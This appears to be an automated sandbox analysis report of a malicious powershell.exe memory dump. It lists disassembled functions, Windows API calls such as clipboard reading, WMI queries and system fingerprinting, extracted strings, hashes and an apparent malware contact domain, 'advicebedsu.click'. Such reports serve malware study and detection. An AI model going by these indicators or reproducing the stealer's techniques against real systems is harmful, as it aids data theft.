Opcode Fuzzy Hash: 65bdc0b72feb1014003261c8dca86a4a2e57f9cdd57f6fc06a9003bf8a27c138
Instruction Fuzzy Hash: D4F0E9717002088BDB185B7458512BA36567FE0266B11403EC6A18A684DF36A935D77E

Analysis Process: powershell.exePID: 7652, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.7%
Total number of Nodes:	475
Total number of Limit Nodes:	37

Executed Functions

Function 00422E6D Relevance: 50.5, APIs: 3, Strings: 25, Instructions: 1504COMMON

Download Yara Rule

Strings

CNF8, xrefs: 00422F3F
I, xrefs: 00423048
Fm, xrefs: 004231F2
=]=_, xrefs: 00423D0E
%", xrefs: 0042334A
g}zh, xrefs: 00422F27
wdnf, xrefs: 00422F07
Q*RG, xrefs: 00422F5F
rp, xrefs: 00423FF3
eN, xrefs: 004241BA
_^]\, xrefs: 00422EA5
R03!, xrefs: 00422F77
9#', xrefs: 00423040
~SS}, xrefs: 00422F37
s, xrefs: 00422FCA
p7B, xrefs: 004238C0
- $f, xrefs: 00423038
_^]\, xrefs: 00423695
+A#C=]=_, xrefs: 00423F9D
advicebedsu.click, xrefs: 004233BD
JOSP, xrefs: 00422F6F
].n^, xrefs: 00422F57
8]pY, xrefs: 00422EFF
"7B, xrefs: 00423719
V], xrefs: 004231FA

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: "7B$%"$+A#C=]=_$- $f$8]pY$9#'$=]=_$CNF8$Fm$I$JOSP$Q*RG$R03!$V]$].n^$_^]\$_^]\$advicebedsu.click$eN$g}zh$p7B$s$wdnf$~SS}$rp
API String ID: 0-652782758
Opcode ID: 312b7b5beb43cb0b759412417bc2b12ba6029b012928b32f68d72bd562445efa
Instruction ID: c461727374bb2b2ad86d2c2bcda0cf258ef6ef710b96b519a2ac6f34890c1cf1
Opcode Fuzzy Hash: 312b7b5beb43cb0b759412417bc2b12ba6029b012928b32f68d72bd562445efa
Instruction Fuzzy Hash: 4CB241B5A08311CFD714CF29D8816ABBBF2FF86310F19856DE4859B391D7389902CB96

Function 00439280 Relevance: 35.7, APIs: 12, Strings: 8, Instructions: 653
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C,00000000), ref: 004394CF
SysAllocString.OLEAUT32(00001F7A), ref: 00439550
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 0043958E
SysAllocString.OLEAUT32(8DFD93FD), ref: 00439625
SysAllocString.OLEAUT32(4A105420), ref: 00439706
VariantInit.OLEAUT32(?), ref: 00439774
VariantClear.OLEAUT32(?), ref: 004398BC
SysFreeString.OLEAUT32(?), ref: 004398D3
SysFreeString.OLEAUT32 ref: 004398DF
SysFreeString.OLEAUT32(?), ref: 004398E5
SysFreeString.OLEAUT32(00000000), ref: 004398F6
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 0043992E

Strings

O^, xrefs: 004397A6
t"j, xrefs: 0043966E
gd, xrefs: 0043968E
SB, xrefs: 0043979E
:;$%, xrefs: 004399C0
Jtuj, xrefs: 004392E5
b{tu, xrefs: 004392D9, 0043939B
=hn, xrefs: 00439676

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: String$Free$Alloc$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: :;$%$=hn$Jtuj$O^$SB$b{tu$gd$t"j
API String ID: 1341229144-1335595022
Opcode ID: 00a35f702db370e6906b6da43e33e50153965612b3eb10163526a0eaa7d9f5d2
Instruction ID: 271c0a760e3fad5fe6ae1bc15f56e5fac369995b8e5486316f76b27bd5228644
Opcode Fuzzy Hash: 00a35f702db370e6906b6da43e33e50153965612b3eb10163526a0eaa7d9f5d2
Instruction Fuzzy Hash: F5223476A183019BD314CF28C880B5BBBE2EFC9314F18892DF99497391D779D945CB86

Function 004157C0 Relevance: 31.5, APIs: 1, Strings: 16, Instructions: 1713COMMON

Download Yara Rule

Strings

t~v:, xrefs: 004161E7
ntxE, xrefs: 00416112
S\], xrefs: 004159EE
_^]\, xrefs: 00415B14
w}MI, xrefs: 00416128
*,-", xrefs: 004166EF
WQ, xrefs: 004159E3
qRb`, xrefs: 00416133
`A, xrefs: 004160DF
uqrs, xrefs: 00416AF0
{zdy, xrefs: 0041611D
~mfQ, xrefs: 0041613E
L4, xrefs: 00416780
pt}w, xrefs: 004161F2
L4, xrefs: 00416BA0
3F&D, xrefs: 00416273

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$`A$L4$L4
API String ID: 0-2687763561
Opcode ID: 09428639afa91602ae49414ee6577e4f298c4b2ca618dd5c82e79861ecdb2e7a
Instruction ID: 9f5ea6b08c49057db174a630c2ad9a5754b08da33700a0e563b445691e8359cf
Opcode Fuzzy Hash: 09428639afa91602ae49414ee6577e4f298c4b2ca618dd5c82e79861ecdb2e7a
Instruction Fuzzy Hash: 8FC213B5A083408FD7248F24D8817ABB7E2EF96314F1A893DE4D987391D7389841CB4B

Function 004239B9 Relevance: 18.3, APIs: 3, Strings: 7, Instructions: 821
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

=]=_, xrefs: 00423D0E
_^]\, xrefs: 00423865
rp, xrefs: 00423FF3
eN, xrefs: 004241BA
p7B, xrefs: 004238C0
":B, xrefs: 00423A0E
+A#C=]=_, xrefs: 00423F9D

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: ":B$+A#C=]=_$=]=_$_^]\$eN$p7B$rp
API String ID: 0-2092896893
Opcode ID: ed0750c71e1987e5a6d7bbb2feff7f6cba7481729a1a1e0e14759066178fedbc
Instruction ID: 182eaf4e6841349a8ef13573fe29d1f0c1c004a6e50f6283d231cbe69a191b93
Opcode Fuzzy Hash: ed0750c71e1987e5a6d7bbb2feff7f6cba7481729a1a1e0e14759066178fedbc
Instruction Fuzzy Hash: 594267B5B04211CFD714CF28D8816AABBB2FF8A311F1A81BDD4459B395D738D942CB85

Function 00411227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 004117D0
[, xrefs: 00411555
>, xrefs: 004116FF
+, xrefs: 004117CB
), xrefs: 00411A4D
L, xrefs: 00411846
F, xrefs: 0041184E
`, xrefs: 004113A4

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID: )$+$>$@$F$L$[$`
API String ID: 0-4163809010
Opcode ID: 044f42da5d756521c1d2f2a39874e1519ebd206fa650f033b5c434c037831c99
Instruction ID: 2c21a52bb848bfcd7622a7916f474c4d624f7ec9d4be2f62fa6d6f295705de25
Opcode Fuzzy Hash: 044f42da5d756521c1d2f2a39874e1519ebd206fa650f033b5c434c037831c99
Instruction Fuzzy Hash: 8052A07260C7808BD3249B38C5943EFBBE1ABD5324F198A2EE5D9D73D1D63889418B47

Function 00408600 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 351
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408624
GetCurrentThreadId.KERNEL32 ref: 0040862E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087FA
GetForegroundWindow.USER32 ref: 00408974

Part of subcall function 0040B7B0: FreeLibrary.KERNEL32(00408A31), ref: 0040B7B6
Part of subcall function 0040B7B0: FreeLibrary.KERNEL32 ref: 0040B7D7

ExitProcess.KERNEL32 ref: 00408A4A

Strings

}, xrefs: 00408913
}, xrefs: 0040890C
b]u), xrefs: 00408877

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b]u)$}$}
API String ID: 3676751680-2900034282
Opcode ID: 6a07f0384f71d87041b62ad58867324155b1be50ba3e74cb306905e4ea8226d7
Instruction ID: 3bf81113ce60e3950654fa87f9b5bc85db09618474996d7b9c4e13ef7b0d228f
Opcode Fuzzy Hash: 6a07f0384f71d87041b62ad58867324155b1be50ba3e74cb306905e4ea8226d7
Instruction Fuzzy Hash: C4C1E673E187144BC708DF69C84125AF7D6ABC8710F0AC53EA898EB391EA74DD048BC6

Function 0042D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042D3EE

Strings

><+, xrefs: 0042D353

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: ><+
API String ID: 3960555810-2918635699
Opcode ID: 3980c0afaf6dac2d4ca75895f3ce9cc4aa60152e4397ff49cad2d9ebd5e9afb7
Instruction ID: 444f218a8ad5829191449d1546b31e79214a0b4c0f4cfb8ef7368535fe843fa0
Opcode Fuzzy Hash: 3980c0afaf6dac2d4ca75895f3ce9cc4aa60152e4397ff49cad2d9ebd5e9afb7
Instruction Fuzzy Hash: 72C1E575A047418FD725CF2AD490762FBE2BF9A310F28859EC4DA8B752C739E806CB54

Function 0043E110 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0044148A,?,00000018,?,?,00000018,?,?,?), ref: 0043E13E

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 0043240F Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00432482

Strings

g, xrefs: 00432440
f, xrefs: 0043243B
e, xrefs: 00432436
c, xrefs: 0043242C
0, xrefs: 0043270A
a, xrefs: 00432422

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0$a$c$e$f$g
API String ID: 2525500382-100324306
Opcode ID: 6fa382de4c939dc68479ac497997f55f83f35014caf28410cf75d298f2d01ba0
Instruction ID: 2beeffe621b162477516d1a3ffd6e32473519446922c4ca7b5322f15d7df1e3d
Opcode Fuzzy Hash: 6fa382de4c939dc68479ac497997f55f83f35014caf28410cf75d298f2d01ba0
Instruction Fuzzy Hash: EB91812110DBC28DD3328A7C595879BBED16BA7234F484B9EE0E98B3E6D7704106C767

Function 00409D1E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,00000000), ref: 00409D98
LoadLibraryExW.KERNEL32(?,00000000), ref: 00409E78

Strings

CKI, xrefs: 00409E85

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID: CKI
API String ID: 1029625771-2433779057
Opcode ID: 46ebf1f11a428727df2c69ed2ddcf1f0c4f78635cb5cf24ba122c25d2125fb43
Instruction ID: 9df50abc4230604fad3af689b86cbcfc4f62151ff32a39ed9a717dc759385280
Opcode Fuzzy Hash: 46ebf1f11a428727df2c69ed2ddcf1f0c4f78635cb5cf24ba122c25d2125fb43
Instruction Fuzzy Hash: 1041EFB4D003009FEB149F789992A9A7F71EB06324F5152ADD4902F3E6C635981A8BE6

Function 0043058B Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 154
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 004305EF

Strings

0, xrefs: 00430808

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: 0
API String ID: 2525500382-4108050209
Opcode ID: a93b0ace99ce6cd9ef1ee5a0699e5cb0abacc5689d21836a58def81c9232aac2
Instruction ID: 1a9445c8793d311956368d230348da1e4d9d4d740bd027ac858feccbcef24786
Opcode Fuzzy Hash: a93b0ace99ce6cd9ef1ee5a0699e5cb0abacc5689d21836a58def81c9232aac2
Instruction Fuzzy Hash: ED91A420108FC28DD3328A3C9849797BFD11B63224F184B9DD1FA4A7E3D7A5A14AD766

Function 0042F67B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32 ref: 0042F687

Strings

0, xrefs: 0042F908

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: FreeString
String ID: 0
API String ID: 3341692771-4108050209
Opcode ID: 9e03d617818d9f894cb7bfd721b8e184e885285a2d937fda9489571d724eb846
Instruction ID: 2a79e8d30ea64e7d5669e1a9b49d72b4a405202e71524aef1de41e0f80d44e43
Opcode Fuzzy Hash: 9e03d617818d9f894cb7bfd721b8e184e885285a2d937fda9489571d724eb846
Instruction Fuzzy Hash: 5A816A34108FC28AD332863C88587D7AFE15B67324F484B9DA1FE4A3E2D6656146C766

Function 0043E34B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043E3BA

Strings

, xrefs: 0043E365, 0043E37C

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-3019521637
Opcode ID: 1a0742d174ed02cdc22a72f35ed7972a2a7288d22f9a72e178f62dae787fe3a6
Instruction ID: 528e16a96f9d9f00b26d3e5e14e5fe829b229e0aa49aafaba4eb36a7b6cd6e75
Opcode Fuzzy Hash: 1a0742d174ed02cdc22a72f35ed7972a2a7288d22f9a72e178f62dae787fe3a6
Instruction Fuzzy Hash: FA112B7AE418614BEF08CF39DC171AA77A2B3C5325B2D56B98816E32D0DA3C5C068A84

Function 0040EF53 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0040EF57
CoInitializeEx.COMBASE(00000000,00000002), ref: 0040F09C

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c72aef12464a92cc2c3f2d51aa4abadf574ffcca3a61543972ef4f2091f679da
Instruction ID: f51fb2f77ad80b64b0419191bf69b8e44a6001040ca864f0c8a1fa7d7adef59f
Opcode Fuzzy Hash: c72aef12464a92cc2c3f2d51aa4abadf574ffcca3a61543972ef4f2091f679da
Instruction Fuzzy Hash: 9341C6B4C10B40AFD370EF399A0B7137EB8AB05250F504B1DF9E6866D4E231A4198BD7

Function 0040EC77 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040EC89
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040ECA2

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: fb62f50cd5accdd3f8c0e7536e39a1f07535dd0835aa916c8da64f7b89d0cef8
Instruction ID: 738adb6083984dd8bacecb44fa1de3dd99d04845307cbd3813f349a55eb87af8
Opcode Fuzzy Hash: fb62f50cd5accdd3f8c0e7536e39a1f07535dd0835aa916c8da64f7b89d0cef8
Instruction Fuzzy Hash: 8BE042783D97417BF6795B14ED57F143225AB86F26F304314B7253D6E58AE03201451D

Function 00437764 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 0043779D

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: bc18d378b5dd9222f1d4b2f2bf41a228d576f499a8aff68b17f4869370526a21
Instruction ID: 54b6fee0e0571655c33f26142f93ff03fb1190c0e218daea6acb4e94425ab4d3
Opcode Fuzzy Hash: bc18d378b5dd9222f1d4b2f2bf41a228d576f499a8aff68b17f4869370526a21
Instruction Fuzzy Hash: 0C31E472A466418FD7158B78C8837ADBBE28BD5314F0A80AEE459C73A2D9388942CB10

Function 0043E0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043E0E0

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b084c91fa9192e24328343e825f84096d97414ba82a0ea4300841eb5d6395bab
Instruction ID: ded93e649b1cf2343eaa9575ea92e3a5feecd1f56bb2e5dbe1310a0afb74cdc2
Opcode Fuzzy Hash: b084c91fa9192e24328343e825f84096d97414ba82a0ea4300841eb5d6395bab
Instruction Fuzzy Hash: CDF0EC76824231FBC3102F397D05A573674EFCB720F05143AF40056161DB78DC17969A

Function 0043E3A9 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E3BA

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 0e9d24a3901733470457e1249cc7f7470b5df7d452cc394c81079ce9d69cb8f4
Instruction ID: 5efd1ee9a03ea3c3eb0c12d762aaad34ed982eea5bb01117e5cc31371429f0ae
Opcode Fuzzy Hash: 0e9d24a3901733470457e1249cc7f7470b5df7d452cc394c81079ce9d69cb8f4
Instruction Fuzzy Hash: 29F0A0FEE805528FDB04CF55EC5446533A3B7D930631D8479D501A3229DE74A902DA45

Function 00430B2B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00430B74

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 43d7ad87fa5e9b2b3dc0a0f51096ce11eba6c1c6eb289cd7ed6149dc19726bb4
Instruction ID: 292623ad24ebdac7e3a1919eec7db90bd09e345a016beb7c95d50bd0d1ee1297
Opcode Fuzzy Hash: 43d7ad87fa5e9b2b3dc0a0f51096ce11eba6c1c6eb289cd7ed6149dc19726bb4
Instruction Fuzzy Hash: 83F0DAB4109701CFE344DF28D5A471ABBF0FB89704F10885CE4968B3A0CB75AA48CF82

Function 004328EB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0043292F

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 7e452866653096e15586fa2ca7bcaaf7b2c2c27ee5de88d8bf9c575216fae4cc
Instruction ID: cf09600e75e0e16d5a8b454570da2a73a051c519e2c805bde7a2a4df5bee874d
Opcode Fuzzy Hash: 7e452866653096e15586fa2ca7bcaaf7b2c2c27ee5de88d8bf9c575216fae4cc
Instruction Fuzzy Hash: 7EF07AB45083418FD314DF24C5A871BBBE0FB85308F00891DE5998B390C7B59549CF82

Function 0043C570 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043E0F9), ref: 0043C590

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4ca71c55d9fe9b281f7981d367328e1df5632f63ab8c1559b6560bf0dd0d3b5a
Instruction ID: b893ccae00c0100e086c015fd95e4a651a52546402759b79cf5975c20580b1f3
Opcode Fuzzy Hash: 4ca71c55d9fe9b281f7981d367328e1df5632f63ab8c1559b6560bf0dd0d3b5a
Instruction Fuzzy Hash: 28D01231815232FBC6102F28BC05BCB3B54DF5A321F0708A2F404AB075C764EC91DAD8

Non-executed Functions

Function 00433E30 Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 116clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433E44
GetClipboardData.USER32 ref: 00433E5F
GlobalLock.KERNEL32 ref: 00433E78
GetWindowLongW.USER32 ref: 00433ED7
GlobalUnlock.KERNEL32 ref: 00433FA9
CloseClipboard.USER32 ref: 00433FB4

Strings

5, xrefs: 00433EF2
', xrefs: 00433EED
I, xrefs: 00433F06
*, xrefs: 00433F24
6, xrefs: 00433F10
-, xrefs: 00433F1F
8, xrefs: 00433F01
=, xrefs: 00433EF7
L, xrefs: 00433EFC
}, xrefs: 00433F15
(, xrefs: 00433F1A
q, xrefs: 00433EE8
;, xrefs: 00433F0B

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: '$($*$-$5$6$8$;$=$I$L$q$}
API String ID: 2832541153-2064290267
Opcode ID: e5da5b9a56329a51e64cc872523e0dfe2627c190021f4751e0eab4ab2fc29bc9
Instruction ID: e1340490ca777862a7890bfc042d0e04e3e37fcf4304b8f7f5516f793469ed24
Opcode Fuzzy Hash: e5da5b9a56329a51e64cc872523e0dfe2627c190021f4751e0eab4ab2fc29bc9
Instruction Fuzzy Hash: E0417FB150C3818ED301AF78958835EFEE0AB89319F04497EE4C987292D7BD8689C757

Function 00411D2B Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 479COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL ref: 00411EC3

Strings

8, xrefs: 00411EEA
^, xrefs: 00412034
a, xrefs: 004121E6
y, xrefs: 00411EF2
?, xrefs: 00411EE2
|, xrefs: 00412267
p, xrefs: 00412095
L, xrefs: 00411D8F
[, xrefs: 004121EB

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 8$?$L$[$^$a$p$y$|
API String ID: 237503144-3949209405
Opcode ID: 4a8879f59250b1b40dd97a34ff5c93777886415510556bea7e1a63f8662ddf82
Instruction ID: f3e99263922766072051b57ffb7fb6feee41006b6636dbb619e47a4599fab130
Opcode Fuzzy Hash: 4a8879f59250b1b40dd97a34ff5c93777886415510556bea7e1a63f8662ddf82
Instruction Fuzzy Hash: 3512A17160C7808BC324DB38C5913EFBBE1AF85314F184A2EE9D9D7392D67898858B47

Function 004291AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?), ref: 004291DA

Strings

wpq, xrefs: 004292B7
+Ku, xrefs: 004292AF

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +Ku$wpq
API String ID: 237503144-1953850642
Opcode ID: dd00e6cff4bb86df55339bea6a97020402cd2a79317d379f18720dc196f8341f
Instruction ID: 7bb714cd0adbe8f34d65affdf2b55708b4274e5c8486b9e210027d19f02d6b7d
Opcode Fuzzy Hash: dd00e6cff4bb86df55339bea6a97020402cd2a79317d379f18720dc196f8341f
Instruction Fuzzy Hash: 6F51CE7220C3528FC324CF29984076FB7E2EBC5310F55892EE5D9CB285DB34D50A8B96

Function 004348C2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00434910
GetSystemMetrics.USER32 ref: 0043491F

Strings

, xrefs: 004349F3

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: e2dbdaae214771375078ea694cbe3190168a6d9690373aa5dbc97004a2b0131a
Instruction ID: fc399c5893f09ab22ce38e0ca23dce90b2d9510c132352c7ff6b67ebebce5796
Opcode Fuzzy Hash: e2dbdaae214771375078ea694cbe3190168a6d9690373aa5dbc97004a2b0131a
Instruction Fuzzy Hash: 725160B4E142089FCB40EFACD98569DBBF0AB48710F11852EE898E7350D734A944CF96

Function 004290D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429170

Strings

M/(, xrefs: 0042919E
M/(, xrefs: 0042913D

Memory Dump Source

Source File: 00000008.00000002.2629409922.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
